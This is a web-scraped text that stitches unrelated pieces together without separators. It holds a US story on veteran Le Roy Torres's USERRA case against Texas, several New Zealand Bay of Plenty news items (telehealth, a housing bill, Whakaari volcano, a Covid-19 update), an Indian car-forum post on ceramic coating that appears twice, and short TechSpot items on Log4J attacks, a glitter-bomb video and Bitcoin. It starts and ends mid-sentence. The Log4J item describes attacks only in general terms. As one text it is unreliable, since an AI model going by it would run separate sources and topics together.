against Texas in 2017 under a federal law that clarified and strengthened veterans employment and reemployment rights after the Persian Gulf War. But a Texas state appeals court ruled that Congress cant give service members the right to file such a lawsuit when a state hasnt given its permission for that to happen the latest state to reach that same conclusion based on the longstanding doctrine of state sovereign immunity. Virginia, Florida, Tennessee, Georgia, Delaware and Alabama also have state court decisions that prevent hundreds of thousands of veterans who are state employees from using the best remedy Congress created in a broader effort to help encourage military service, the petition from Torres states. State courts nationwide are systematically disregarding a federal law that Congress concluded was necessary for the national defense, Torres states in his petition to the Supreme Court. Torres argues those decisions step on Congress broad and sweeping powers to raise and support military forces, known as the War Powers. The United States has made that same argument in cases that led to those state court decisions, saying that recruitment is central to those powers. That conclusion not only interferes with Congress ability to provide for the national defense today, but it may interfere with Congresss ability to exercise its War Powers in the future, in a time of dire national need, Torress petition states. The law, known as the Uniformed Services Employment and Reemployment Rights Act, or USERRA, establishes broad protections, including the right to take military leave from civilian jobs, to be promptly reemployed upon return from service, and to be free from discrimination based on military service, the Torres petition states. It also requires employers to make reasonable efforts to accommodate those who incur disabilities during their military service and to rehire them in the position they would have held but for their military service or an equal position of seniority, status and pay. When the Supreme Court ruled in 1996 that Congress does not have the power to subject state governments to lawsuits in federal court, Congress responded in 1998 with a law that expressly authorized these lawsuits against state employers in state courts. The case asks the Supreme Court to delve into the text and history of the Constitution, and whether states consented to War Powers lawsuits at the time of the founding, as well as a history of Supreme Court decisions about under what circumstances Congress can allow lawsuits against states. The issue has been percolating in lower courts for years. The Supreme Court declined to hear a similar case in 2017. And the United States had urged the justices to take the same path this time and not decide the case, in part because Congress has considered legislation that would require states to waive sovereign immunity in these lawsuits before being eligible for federal funding. In Tennessee, when a state court held that sovereign immunity barred these lawsuits, the legislature enacted a statute that waived sovereign immunity in these cases, the United States wrote in its filing in the Torres case. Texas, in its filing in the case, told the Supreme Court that cases of states discriminating against service members are vanishingly rare, and Torres has an administrative process and other ways to pursue a discrimination claim that he chose not to use. Torres suffered lung damage after being exposed to toxic fumes emanating from the huge open-air burn pits that spouted thick, black smoke 24 hours a day on many military bases as they burned trash, ammunition, medicine and human waste, his petition states. Texas offered him a temporary position as a state trooper and said he would be fired if he did not report to duty, according to the petition. Torres resigned, and along with his wife, Rosie, started a nonprofit organization called Burn Pits 360 to advocate for service members and families injured by the toxic burn pits. 2021 CQ-Roll Call, Inc., All Rights Reserved. Visit cqrollcall.com. Distributed by Tribune Content Agency, LLC. Sullivan, IN (47882) Today Partly cloudy skies this evening will become overcast overnight. Low 14F. Winds WNW at 10 to 20 mph.. Tonight Partly cloudy skies this evening will become overcast overnight. Low 14F. Winds WNW at 10 to 20 mph. A recent community co-design hui on Matakana Island marked a new milestone in the journey to better connect island residents with health services using technology. The hui, led by staff from the Western Bay of Plenty Primary Health Organisation with support from the Bay of Plenty District Health Board and Ministry of Health, was organised for Maori whanau and Te Awanui Hauora Trust to share their healthcare experiences on the island, specifically relating to accessing services. The installation of a radio mast and 4G network technology on Matakana Island has created opportunities to deliver telehealth services to residents. Information collated by the group at the workshop will be used to inform the next steps in the rollout plan. PHO Director of Maori Health, Kiri Peita, says the hui generated valuable feedback from residents and reinforced how technology has the potential to be a game changer for people living in remote communities. Residents are excited about the opportunity to improve their access to healthcare. Living on an island presents multiple challenges to accessing healthcare, including transport, cost and time. The rollout of a telehealth service, in consultation with these communities, is an important step towards improving equity of health outcomes for Maori. Having access to high-speed broadband on the island means that for the first time, residents will be able to have high resolution video consults with GPs, nurses and hospital outpatient appointments. The services will complement the fortnightly GP clinic provided by Ngati Kahu Hauora. Te Awanui Hauora Trust COO Te Uta Roretana says residents currently pay up to $80 for a return barge trip to take them into town for specialist appointments so the ability to have digital consultations will be a great help. Covid-19 had underlined for everyone the important role that technology plays in reducing barriers to a range of services and keeping people connected, she adds. The safety and wellbeing of our whanau is all important for us. Telehealth services mean that when we cant be connected physically, we can still be connected digitally, and not just in health. The connectivity means we can explore more online learning opportunities too. The journey to improve access to health services on Matakana Island started in February 2020 during a community hui when residents first shared their healthcare experiences with the PHO. Since then, the PHO, DHB and Western Bay of Plenty District Council joined forces to provide the 8m high radio mast which was installed next to the Hauroa clinic in April, as well as 4G network technology, diagnostic equipment and technical expertise. The radio technology used is the same type used in outback Australia. A sweeping bill forcing councils to allow townhouses to be built has passed into law with the support of Labour and National. The Resource Management (Enabling Housing Supply and Other Matters) bill was hammered out between the two major parties so is unlikely to be reformed under any change of Government. From August of 2022, councils will be forced to allow townhouses of up to three storeys with up to three dwellings on almost all residential sites in Auckland, Wellington, Christchurch, Tauranga, and Hamilton, as these will not require resource consent. Building consent will still be required, so the quality of the homes themselves will still need to meet a standard. Analysis by PwC suggests it could add up to 105,000 new dwellings in those cities over the next eight years. The bill also moves forward the timeline on the NPS-UD, another zoning change that removes the ability for councils to set height limits of less than six storeys in a more restricted set of urban areas. Labour and National announced the bill in October after months of negotiations. The two parties then sought to pass the bill far faster than is usual, with a select committee process that lasted six weeks instead of the usual six months. Some changes were made to the bill after a select committee process in which many town-planners and councils said they needed to retain more control. Councils did not regain much control but the overall standard they are being forced to accept is more restrictive, with a lower height limit at the boundary. The size of windows and outdoor space were also boosted. Councils will also be able to use qualifying matters to block development, which will include historic heritage but Environment Minister David Parker has said this will not be loose enough for whole suburbs to be protected from development. The Green Party and Maori Party also voted in support of the bill, while ACT vehemently opposed it. Housing Minister Megan Woods said the bill would allow for more houses and the support of so many parties meant developers would have scrutiny. These changes address the overly restrictive planning rules that limit the types of homes people can build and where they can build them, Woods said. Passing this legislation with support from the National Party, the Green Party and the Maori Party delivers stable, enduring policy on urban density. This gives New Zealand homeowners, councils, developers and investors greater certainty. Parker said the bill would allow for far more homes to be built closer to city centres, which would help stem emissions as well as the housing crisis. Housing intensification is critical to accelerating housing supply. It also has a range of benefits, including smarter use of land and less urban sprawl, more accessible public transport, more even growth across cities, and multi-generational ways of living, Parker said. National deputy leader Nicola Willis said only by greatly increasing the supply of houses could New Zealand truly restore the idea of an egalitarian property-owning democracy. This bill will allow the type of housing that first home buyers can more readily achieve - that is apartments, townhouses and smaller dwellings. We need more of those choices. For the first time buyers of today and tomorrow, and this bill will enable more of them to be built. The Green Party supported the bill but have argued against the shortened select committee process and have pushed changes that would see more urban trees protected and taller buildings encouraged. Green MP and chair of the Environment Select Committee Eugenie Sage said there was a risk the bill would allow for more urban sprawl without encouraging people to densify urban centres enough. ACT have vigorously opposed the bill, arguing the bill would lead to chaos as people had bought into suburbs not expecting the rules to suddenly change. The party also argued that the bill wont actually work as it doesnt fund councils to provide further infrastructure. It doesn't matter how many houses could be theoretically built if theres no connections. Without more infrastructure, there won't be more houses in total, they'll just be in different places, ACT leader David Seymour said. The Infrastructure Commission disagreed with this view, telling the select committee the bill would not change the total number of people living in cities, so would not change infrastructure costs. ACTs deputy leader Brooke van Velden said the bill was a cynical attempt for Labour and National to hide from their terrible records on housing. This is a bipartisan approach with two parties that have zero credibility on solving the housing crisis, van Velden said. They wanted to abandon attacking each other on an issue that they both have no credibility on. Parker has criticised ACT for its stance, saying a supposedly libertarian party should not oppose deregulation. -Henry Cooke/Stuff. Data from a recent observation flight at Whakaari/White Island shows a significant increase of the active vent temperature to just over 500C, reports GeoNet. The state of moderate to heightened unrest continues. The Volcanic Alert Level remains at Level 2, says duty volcanologist Craig Miller. "Last week GNS scientists undertook a visual observation flight, including temperature measurements of the active vent area. "The maximum temperature measured in the active vent area was 516C. During September-November 2021 temperatures ranged from 202C to 264C. "Temperatures over 500C were last observed in July-August 2021. These observations are consistent with hot gas continuing to be released from the molten rock (magma) beneath the volcano." Craig says some minor amount of ash emission continues to be observed, as during most of our previous flights. He says these ash deposits remain limited to areas close to the active vents. Further intermittent ash emission may continue to occur. "There was no evidence of further ash or liquid emission from the vent near the base of the 2019 landslide area. "Gas emissions appeared lower but have not been quantified since 18 November 2021. The water level of the lake has receded during a recent spell of fine weather." The current level of activity is consistent with moderate to heightened levels of unrest. As such the Volcanic Alert Level remains at 2 and the Aviation Colour Code remains at Yellow. "As noted previously, our on-island equipment has degraded. This means that while we are getting some data, it is not real time and it is not complete. We are continuing to work on restoration options. "The Volcanic Alert Level reflects the current level of volcanic unrest or activity and is not a forecast of future activity. "While Volcanic Alert Level 2 is mostly associated with volcanic unrest hazards (including discharge of steam and hot volcanic gases, earthquakes, landslides, and hydrothermal activity), potential for eruption hazards also exists and eruptions can still occur with little or no warning." He Puna Manawa will be the new name of the destination for key council services in Tauranga City. Council is leasing the site previously known as the Goddards Centre, located between Devonport Road and Grey Street. He Puna Manawa will house councils customer service centre and central library from early next year while the new civic precinct is developed. The name was gifted to council by mana whenua, Ngai Tamarawaho and Ngati Tapu, and was formally endorsed by the Commission at a Council meeting this week. Translated literally, He Puna Manawa means heart of the spring. It can also be described as an oasis, being the collective pool created by many springs feeding in. Commission Chair Anne Tolley says its an honour for council to have been gifted the name, which captures the spirit of the exciting, vibrant and interactive hub that will soon occupy the site. He Puna Manawa will be a place where everyone in the community can come together to connect, share, learn, and access key council services, says Anne. It will also breathe life into the area and help give surrounding businesses a much-needed boost. Council Strategic Maori Engagement Manager Carlo Ellis says the name is also a nod to the areas history; a key consideration for council and mana whenua. In the past, the area was fertile and productive, with freshwater springs located around the area close to where He Puna Manawa is located, says Carlo. Today, we see the name of Spring St and a prominent sculpture by the late master carver Tuti Tukaokao depicting a calabash in the form of a fountain on the corner of Spring and Grey Streets, which all reference this heritage. The name and concept behind He Puna Manawa marries the history and significance of the area with the future aspirations for the site. Those aspirations will soon be realised, with the transformation of He Puna Manawa progressing swiftly. The customer service centre is expected to be open there on Monday, January 24, 2022, while the central library plans to open its new doors by the end of March. Customer Services Manager Margaret Batchelar says the customer service centre will operate out of its current Willow Street site up until Friday, January 21. We are working hard behind the scenes so we can close our doors on the Friday, and open at He Puna Manawa the following Monday, says Margaret. We expect there will be minimal disruption for the public while the relocation takes place. Libraries Manager Joanna Thomas says moving the librarys extensive collection of books and resources will mean the current premises will be closed from Sunday, February 20. We are working through what that will mean for the community and how people can continue to access and return items until we open at He Puna Manawa at the end of March. The joint council facilities are expected to be based at He Puna Manawa for the next four years. Introducing the logo for He Puna Manawa Supplied image. Local artist and designer Quinton Bidois was engaged to design a logo that supports the name and concept of He Puna Manawa. Quinton has whakapapa to mana whenua, as well as being a Senior lecturer in Toi Maori at Toi Ohomai. The tohu (logo) utilises the calabash theme for correlation to the Spring Street sculpture. The three koru represent the three iwi of Tauranga Moana, and the notches represent people of the wider community. They all culminate in the joining and combining of people and resources into the centre of the vessel. The colours represent the merging of the moana and the whenua in Tauranga. The words beside the logo translate to mean: An oasis - a water spring, a spring of information, a spring of life. The Government will upgrade Tauranga Hospital next year to support planned and routine care, so non-Covid patients are safe when Covid patients are being treated. A total of $17.916 million will be spent on three projects for the city's hospital. The approved projects are: -expansion of ICU/HDU to occupy the entire level 1 floor, previously shared with the Coronary Care Unit (+2 ICU beds and +4 HDU beds) - $3 million capital, -Coronary Care Unit moves to level 3 floor and is expanded (+5 CCU beds) - $12.416 million capital, and conversion of a ward for a 16-bed pandemic response ward, -emergency department air management upgrades for staff and patient safety - $2.5 million capital. With high vaccination rates and better treatments and prevention methods, we are shifting to better support planned and routine care while also safely caring for Covid-19 patients, says Health Minister Andrew Little. Treating Covid patients can be disruptive to other treatment as additional precautions are taken for infection prevention and control. Todays announcements are about minimising that disruption. We asked Bay of Plenty DHB to prioritise projects that would strengthen local hospitals to provide planned and routine care in the age of Covid-19, and could start as soon as possible in 2022, with some projects completed as early as March. Today I can confirm we will fund 36 upgrades at 24 local hospitals throughout the country, and the operational costs to support them, at a total cost of $644 million from the Covid-19 Response and Recovery Fund. This includes the ICU and other upgrades at North Shore, Tauranga and Christchurch that were announced last week, says Little. Now in 2022 we will also add 75 new standard inpatient beds in hospitals. Additionally, 355 existing inpatient beds will be converted into isolation or negative pressure environments, and a number of hospitals will have ventilation upgrades. These upgrades will allow routine and planned care to continue and patients with mild to moderate Covid-19 to be treated, while helping to protect all patients, visitors and staff from the virus. The upgrades include 23 new ICU/HDU beds, as well as eight temporary bed conversions to ICU. Click here for a full list of approved projects throughout the country. A patient with Covid-19 has passed away at Tauranga Hospital. The Ministry of Health confirmed the death today in its 1pm Covid-19 update. A Ministry of Health spokesperson says the family has requested that no further details be released and, out of respect for those wishes, we will be making no further comment at this time. Our thoughts are with the patients whanau and friends at this deeply sad time. There are also seven cases to report in Tauranga today. Four are linked to previously reported cases, while the other cases are still being investigated for potential links. Contacts are being identified and will be contacted for testing and isolation advice. Including the seven Tauranga cases, there are 74 cases of Covid-19 reported around the country today. Of these cases 56 are in Auckland, nine are in the Waikato, seven in the Bay of Plenty, one in the Lakes and one in Canterbury. There are 61 cases in hospital with four of these cases being in either ICU or High Dependency Units. Today, the MoH is also announcing 15 new cases of Covid-19 in the Taranaki township of Eltham. As these 15 cases were reported overnight, they will be officially added to our case figures tomorrow. The cases are self-isolating and initial interviews suggest they are all linked to the Eltham case reported on Sunday - with links to four of these new cases already confirmed. Investigations are also underway to identify, isolate, and test any close contacts and determine any locations of interest. People in Taranaki are asked to monitor the Ministrys locations of interest page, which is updated regularly. If you have symptoms no matter how mild please, get tested, even if you are vaccinated - and stay at Further testing locations and times, and vaccination centre details, across Taranaki are available on the Taranaki DHB website. Additional testing capacity will be stood up if, and when, needed. The majority of these new cases are in pupils who usually attend a school in Eltham, which is now closed for the summer break. Local public health officials are already working with the school on public health advice for the school community, including isolation and testing for some individuals. New Zealand is only 7,417 doses away from being nationally 90 per cent fully vaccinated, which the MoH expect to achieve in the next day or two. A MoH spokesperson says they are continuing to ask anyone in New Zealand with symptoms no matter how mild to get tested, even if youre vaccinated. Please stay at home until you return a negative test result. Testing and vaccination centre locations nationwide can be found on the Healthpoint website. Its important testing advice is followed correctly to help ensure test results continue to be returned in a timely way. The Ministry understands that some people are being tested unnecessarily or at the wrong places. Unvaccinated people require a Covid-19 test for some travel including to leave Auckland. These people need to get a supervised rapid antigen test from a pharmacy, within 72 hours of travel. This testing is only for people over the age of 12 years and 3 months, who are not fully vaccinated and do not have any Covid-19 symptoms. The location and hours of pharmacies offering rapid antigen tests is available from Healthpoint. We ask people getting a rapid antigen test to be patient and kind to pharmacy staff while the system is fine-tuned. Remember, if you have Covid-19 symptoms then you should call Healthline for advice about getting a PCR test. Earlier this month 70,000 people with overseas vaccinations or incorrect data were emailed a temporary exemption letter from the requirement to produce a My Vaccine Pass. The majority of these people have now received their My Vaccine Pass and we are issuing a further temporary exemption letter today to some people whose applications are still being processed. About 5,000 people are getting a week-long exemption while their requests for My Vaccine Passes are cleared, while 20,000 people vaccinated overseas will get an extension to 17 January 2022 while their vaccinations are verified. COVID-19 vaccine update Vaccines administered to date (percentage of eligible people) 3,954,873 first doses (94%); 3,766,864 second doses (89%); 22,321 third primary doses; 174,719 booster doses Vaccines administered yesterday 2,485 first doses; 7,877 second doses; 869 third primary doses and 9,229 booster doses. Maori (percentage of eligible people) 492,749 first doses (86%); 432,861 second doses (76%) Pacific Peoples (percentage of eligible people) 267,334 first doses (93%); second doses 249,124 (87%) Vaccination rates by DHB with active cases (percentage of eligible people) Northland DHB First doses (88%); second doses (81%) Auckland Metro DHBs First doses (95%); second doses (92%) Waikato DHB First doses (93%); second doses (88%) Bay of Plenty DHB First doses (93%); second doses (86%) Lakes DHB First doses (91%); second doses (84%) Taranaki DHB First doses (92%); second doses (86%) Whanganui DHB First doses (90%); second doses (84%) Hawkes Bay DHB First doses (94%); second doses (87%) Nelson-Marlborough DHB First doses (94%); second doses (89%) Canterbury DHB First doses (97%); second doses (93%) Hospitalisations Cases in hospital 61; North Shore: 11; Auckland: 24; Middlemore: 22; Waikato: 2; Tauranga: 1, Christchurch: 1. Vaccination status of current hospitalisations (Northern Region wards only) Unvaccinated or not eligible (44 cases / 59%); partially immunised <7 days from second dose or have only received one dose (10 cases / 14%); fully vaccinated at least 7 days before being reported as a case (20 cases/ 27%); unknown (0 cases / 0%) Average age of current hospitalisations 50 Cases in ICU or HDU 4 (2 in Auckland; 2 in Middlemore) Cases Seven day rolling average of community cases 85.4 Number of new community cases 74 Number of new cases identified at the border 2 Location of new community cases Auckland (56), Waikato (9), Bay of Plenty (7), Lakes (1), Canterbury (1*). Number of community cases (total) 9,963 (in current community outbreak) Number of active cases (total) 2,303 (not recovered cases added in past 21 days) Confirmed cases (total) 12,773 Cases epidemiologically linked (total) 7,342 Contacts Number of active contacts being managed (total): 6,963 Percentage who have received an outbound call from contact tracers (to confirm testing and isolation requirements) 83% Percentage who have returned at least one result 76% Tests Number of tests total (last 24 hours) 30,649 Tests rolling average (last 7 days) 25,893 Auckland tests total (last 24 hours) 11,569 Wastewater Wastewater detections No unexpected results to report NZ COVID Tracer Poster scans in 24 hours to midday yesterday 1,976,456 Manual diary entries in 24 hours to midday 31,581 My Vaccine Pass My vaccine pass downloads total 4,261,042 My vaccine pass downloads (last 24 hours) 39,859 New cases identified at the border Arrival date From Via Positive test day/reason Managed isolation/quarantine location 13 December United Kingdom Singapore Day 1 routine test TBC 6 December** United Kingdom United Arab Emirates Day 3 routine test Hamilton ** This case has been deemed historical and is not considered infectious. Current Print Subscribers will be prompted to either login to their current site user account or to create a new one. A confirmation email will be sent when a new user account is created, which must be confirmed within three days in order to provide uninterrupted online access through your Print Subscription. Once the email address is confirmed please provide your Account Number to activate your Print Subscription Service. Artyom BHPian Join Date: May 2020 Location: Bengaluru Posts: 461 Thanked: 1,159 Times Getting Artyom shielded again with IGL Kenzo (Graphene infused ceramic coating) and so we finally reached Punjab. Another reason for the excitement was to meet the new member of our family(Hyundai Venue) which came home last month. I had been telling my dad to get the coating done and finally after going through the only few options present locally it was decided to go with the IGL Coatings(Kenzo) . The Kenzo certified detailer was a half hour drive from our home and hence it was finalized quickly. Upon reaching the center we were greeted by Mr. Sahil who explained us the various offerings ranging from 1-5 Years and what all products will be used during the process. We were clear that we will be opting for 5 Year coating as that had the most thickness and was beneficial for my dad as he had to pay less attention towards maintaining the vehicle. When it came to the price it was reasonable when compared to Bangalore outrageous rate cards. That's where the thought crossed my mind "Why don't I also get it done " and upon further negotiation on price it was decided we will get both the rides coated. Why IGL Coatings Kenzo(Graphene Infused)? -I have heard good reviews about their coatings and the thickness they offer. -The Pricing offered was a no brainer for a 5 year coating -The Lack of PPF options and other branded coatings availability further aided the decision. -I wanted to get dad's vehicle coated in my presence so a professional detailer was necessary. What all was included in the package for both vehicles? -5 year coating on the Exterior Paint -1 Year coating for Alloys and wheels -1 Year coating for the front windshield -1 Year coating for the Trim -Interior cleaning PLEASE NOTE I am nowhere associated with the brand and all the views are of my own. Members are free to disagree/correct me. I however knew the India distributor and have been in touch with him since long for some products which i wanted to procure. He has not played any role in influencing my decision or negotiating the pricing. Test subject -Hyundai Creta 2019(White) -Hyundai Venue 2021(White) TimeLine 2.5 Days/Vehicle Process Followed I was very clear that I will be present throughout the whole process till the end .They had no issues with that. Day1 1.The Emblems along with the nooks and crannies on the exterior were cleaned first with a brush to get rid of the water spots. 2.The vehicle was then washed through and through 3.Claying was done on the exterior using a clay towel. 4.Masking of the vehicle was done before the Polishing and compounding 5.There are 3 polishes which were used in a sequence(F1,F2,F3) to prepare the surface. First day it was F1 and F2 which were used. It was almost evening so i had to leave . The detailer assured me to send a video and photo of anything which will be done once i leave so that i am up to date. 6.All the wheels were removed and then cleaned followed by the Alloy coating. Day2 1 .The Final stage of preparing the paint was the use of F3 polish after which the exterior paint was ready. 2. Then they moved to the Interior cleaning which included(Vacuum and cleaning all the plastics using IGL products) 3.Then they moved back to check if the exterior was all set(No Marks or water spots ). All the gaps on the bumper and on the dicky were detailed. 4.The Trim was the last one to get the attention which included brushing & cleaning them using IGL products to prepare them for the coating. 5.By this time it was evening and the vehicle was all ready for the coating . This is what took a considerable amount of time. This coating had 2 bottles(Base Coat and Top Coat) . 2 Coats of base product followed by 2 of the top product were to be applied. The Sequence followed was as below:- IGL Precoat was first used on the whole exterior and cleaned(This does the same job as IPA solution does) 1 Base coat was first applied by Mr. Sahil himself on the painted surface followed by buffing after 30 seconds. Once the buffing was done each panel was then cured using IR lamps for 5 minutes. 2nd base Coat was then applied followed by buffing and then curing by IR lamps for 5 minutes for each panel. 1 Top coat layer was then applied followed by buffing and then again curing using IR lamps for 5 minutes /panel. Finally the last layer or Top Coat was applied and that concluded the coating for the exterior paint. 6. I Stayed there till step where the 1st layer of Top coat was curing using the IR lamps .By that time one of the guy had already cleaned the windshield and applied the glass coating as well .The only part which was left was the trim coating which they did after i left. Day3 1.The vehicle was kept in the studio for the coating to cure and i was asked to come in the morning to collect the vehicle 2.I reached by 12 and at that time a last coat of IGL Premier was applied and buffed as the final step. 3.Mr Sahil asked me to inspect the vehicle and let him know if I find anything amiss. Goodies/Supplementary 1.Warranty card 2.Bill 3.Key Chain 4.Buffing Cloth Maintenance Rituals 1. I was instructed not the wash the vehicle for at least 7 days post coating. 2.Regular maintenance could be done with NON IGL products and i confirmed that with the distributor as well. Only special care to be taken is with the use of car shampoo and it should be a PH Neutral(Any Brand will do) Additional Observations 1.The whole team was courteous and professional in their work. 2.The coating box including the bottles were opened in my presence. 3.The Owner Mr Sahil was a thorough professional and kept asking how i felt about the progress and if there was anything which was missed. 4.New Buffing Towels were used almost every time the coating was to be buffed 5.Attention to the detail was given utmost importance. 6 .They also have a washing center in the same compound and for the whole time when i was there vehicles were lined up for washing and cleaning which meant either they were good at their job or they were dirt cheap (I support the first assumption). 7.One could say that it was an impulsive decision to get the coating because of the deal price but then i am happy I did especially considering the whole process was done with due diligence. 8.I had got the coating done in 2019 when i bough the vehicle and in my opinion that coating lasted for maybe an year and i expect this one to last longer as they are guaranteeing the same provided certain maintenance rules are followed. I am confident I will follow them and lets see how this gamble play off . Protection and Gloss 1.The coating promises 5 years of protection with proper maintenance and only time will tell if the claim is true 2.The Gloss obviously got a major bump with removal of swirls and the vehicle getting a new look Location of the Detailing Center Diamond car spa Khothran Road, Friends Colony, Phagwara, Punjab 144401 So a plan to visit our parents in Punjab was made on a very short notice(Note 2 days' notice) as the WFH was coming to an end finally. This meant no more extended stays anywhere without taking leavesand so we finally reached Punjab. Another reason for the excitement was to meet the new member of our family(Hyundai Venue) which came home last month.I had been telling my dad to get the coating done and finally after going through the only few options present locally it was decided to go with the IGL Coatings(Kenzo) . The Kenzo certified detailer was a half hour drive from our home and hence it was finalized quickly. Upon reaching the center we were greeted by Mr. Sahil who explained us the various offerings ranging from 1-5 Years and what all products will be used during the process. We were clear that we will be opting for 5 Year coating as that had the most thickness and was beneficial for my dad as he had to pay less attention towards maintaining the vehicle.When it came to the price it was reasonable when compared to Bangalore outrageous rate cards. That's where the thought crossed my mind "Why don't I also get it done " and upon further negotiation on price it was decided we will get both the rides coated.-I have heard good reviews about their coatings and the thickness they offer.-The Pricing offered was a no brainer for a 5 year coating-The Lack of PPF options and other branded coatings availability further aided the decision.-I wanted to get dad's vehicle coated in my presence so a professional detailer was necessary.-5 year coating on the Exterior Paint-1 Year coating for Alloys and wheels-1 Year coating for the front windshield-1 Year coating for the Trim-Interior cleaningI am nowhere associated with the brand and all the views are of my own.Members are free to disagree/correct me. I however knew the India distributor and have been in touch with him since long for some products which i wanted to procure. He has not played any role in influencing my decision or negotiating the pricing.-Hyundai Creta 2019(White)-Hyundai Venue 2021(White)2.5 Days/VehicleI was very clear that I will be present throughout the whole process till the end .They had no issues with that.1.The Emblems along with the nooks and crannies on the exterior were cleaned first with a brush to get rid of the water spots.2.The vehicle was then washed through and through3.Claying was done on the exterior using a clay towel.4.Masking of the vehicle was done before the Polishing and compounding5.There are 3 polishes which were used in a sequence(F1,F2,F3) to prepare the surface. First day it was F1 and F2 which were used. It was almost evening so i had to leave . The detailer assured me to send a video and photo of anything which will be done once i leave so that i am up to date.6.All the wheels were removed and then cleaned followed by the Alloy coating.1 .The Final stage of preparing the paint was the use of F3 polish after which the exterior paint was ready.2. Then they moved to the Interior cleaning which included(Vacuum and cleaning all the plastics using IGL products)3.Then they moved back to check if the exterior was all set(No Marks or water spots ). All the gaps on the bumper and on the dicky were detailed.4.The Trim was the last one to get the attention which included brushing & cleaning them using IGL products to prepare them for the coating.5.By this time it was evening and the vehicle was all ready for the coating . This is what took a considerable amount of time. This coating had 2 bottles(Base Coat and Top Coat) . 2 Coats of base product followed by 2 of the top product were to be applied.The Sequence followed was as below:-IGL Precoat was first used on the whole exterior and cleaned(This does the same job as IPA solution does)1 Base coat was first applied by Mr. Sahil himself on the painted surface followed by buffing after 30 seconds.Once the buffing was done each panel was then cured using IR lamps for 5 minutes.2nd base Coat was then applied followed by buffing and then curing by IR lamps for 5 minutes for each panel.1 Top coat layer was then applied followed by buffing and then again curing using IR lamps for 5 minutes /panel.Finally the last layer or Top Coat was applied and that concluded the coating for the exterior paint.6. I Stayed there till step where the 1st layer of Top coat was curing using the IR lamps .By that time one of the guy had already cleaned the windshield and applied the glass coating as well .The only part which was left was the trim coating which they did after i left.1.The vehicle was kept in the studio for the coating to cure and i was asked to come in the morning to collect the vehicle2.I reached by 12 and at that time a last coat of IGL Premier was applied and buffed as the final step.3.Mr Sahil asked me to inspect the vehicle and let him know if I find anything amiss.1.Warranty card2.Bill3.Key Chain4.Buffing Cloth1. I was instructed not the wash the vehicle for at least 7 days post coating.2.Regular maintenance could be done with NON IGL products and i confirmed that with the distributor as well. Only special care to be taken is with the use of car shampoo and it should be a PH Neutral(Any Brand will do)1.The whole team was courteous and professional in their work.2.The coating box including the bottles were opened in my presence.3.The Owner Mr Sahil was a thorough professional and kept asking how i felt about the progress and if there was anything which was missed.4.New Buffing Towels were used almost every time the coating was to be buffed5.Attention to the detail was given utmost importance.6 .They also have a washing center in the same compound and for the whole time when i was there vehicles were lined up for washing and cleaning which meant either they were good at their job or they were dirt cheap (I support the first assumption).7.One could say that it was an impulsive decision to get the coating because of the deal price but then i am happy I did especially considering the whole process was done with due diligence.8.I had got the coating done in 2019 when i bough the vehicle and in my opinion that coating lasted for maybe an year and i expect this one to last longer as they are guaranteeing the same provided certain maintenance rules are followed. I am confident I will follow them and lets see how this gamble play off .1.The coating promises 5 years of protection with proper maintenance and only time will tell if the claim is true2.The Gloss obviously got a major bump with removal of swirls and the vehicle getting a new lookDiamond car spaKhothran Road,Friends Colony, Phagwara, Punjab 144401 Attached Thumbnails Last edited by Rehaan : 15th December 2021 at 07:59 . Reason: Please avoid long lines of stars, as that causes problems with page-width on mobile. What just happened? On Tuesday, security researchers revealed that hackers had employed the recently discovered Log4J exploit in over 840,000 cyberattacks. Bad actors have targeted companies worldwide, including big-name players like Apple, Amazon, IBM, Microsoft, and Cisco. Techspot reported on Log4J over the weekend after it was discovered last week. Since Friday, the open-source software's use has become a pandemic in its own right. Security firm Check Point has been monitoring the situation and, at one point, were seeing more than 100 Log4J attacks per minute. The hackers are scattered globally, but many seem to be coming from state-sponsored groups out of China, cybersecurity company Maniant CTO Charles Carmakal told Ars Technica. Other firms tracking the attacks, including Check Point and SentinelOne, confirm that many are from known Chinese hackers. Check Point adds that more than half of the exploits come from well-known hacking groups using it to deploy common malware like Tsunami and Mirai for botnets and XMRig to mine Monero. Researchers initially discovered the exploit on Minecraft servers. It uses a flaw in Java to launch remote code execution attacks that can fully take control of a system. LunaSec noted that the Apache Struts framework, used on thousands of business servers, was particularly susceptible. "[This vulnerability is] one of the most serious I've seen in my entire career, if not the most serious," the Director of the US Cybersecurity and Infrastructure Security Agency (CISA) Jen Easterly told industry leaders. She added that the flaw could impact hundreds of millions of devices. Check Point noted that hackers exploiting Log4J used it to take over computers to perform anything from mining cryptocurrency to sending spam to initiating DDoS attacks with large botnets. The UK's National Cyber Security Centre and the US CISA have strongly urged companies to make patching out this severe vulnerability their top priority. The leading brand companies previously mentioned are hurrying to issue fixes, and so far, none have reported having any breaches. However, IT administrators should not underestimate the seriousness of the situation. "With this vulnerability, attackers gain almost unlimited powerthey can extract sensitive data, upload files to the server, delete data, install ransomware, or pivot to other servers," said Acunetix's head of engineering, Nicholas Sciberras. Image credit: Cyber Security by Ecole Polytechnique (CC BY-SA 2.0), Log4J Attacks by Check Point In a nutshell: Mark Robers annual glitter bomb videos are becoming a bit of a holiday tradition. The fourth-gen glitter bomb features several new surprises including a redesigned, multi-stage glitter cup, a car horn and an onboard microphone. Theres also 20 percent more fart spray on board, because of course there is. In 2018, the former NASA engineer published his first glitter bomb video on YouTube. Months earlier, someone had stolen a package from his front porch. Armed with surveillance footage of the thief in action, Rober went to the police but they were too busy to help. Rather than carry on with life, he made it his life's mission to take a stand against dishonest punks. Hence, version one of the glitter bomb was conceived. The glitter bomb is a booby-trapped bait package loaded full of glitter (and sometimes other surprises). Its also armed with multiple cameras that capture a thiefs response when they open the unsuspecting box and get bombarded with an instant mess. To say the series is popular would be an understatement. The original glitter bomb video has amassed over 87 million views as of writing, and the latest iteration published on December 13 already has more than 6 million views. Found is a TechSpot feature where we share clever, funny or otherwise interesting stuff from around the web. A hot potato: Bitcoin is by far the most popular and well-known cryptocurrency, but BTC still has its detractors. Within that category is the Bank of England, which warns that those investing in the crypto should be ready to lose everything as it could at some point become worthless. Bitcoin, like most crypto, often experiences wild price fluctuations: it has dropped by $20,000 in the last month. However, its worth remembering that one Bitcoin at its current price of $48,500 is worth almost five times the $10,000 price it sat at just 14 months ago. But the Bank of Englands deputy governor, Sir Jon Cunliffe, has warned of the risks associated with crypto investment. Their price can vary quite considerably and [bitcoins] could theoretically or practically drop to zero, he told the BBC. The Bank said that major institutions should take a cautious approach to adopting crypto assets and that it would pay close attention to developments in the market, writes The Guardian. The problem is that, unlike traditional forms of money, Bitcoin isnt used to price things other than itself. As Bitcoiners themselves are fond of saying, one Bitcoin = one Bitcoin. But a tautology does not a currency make, 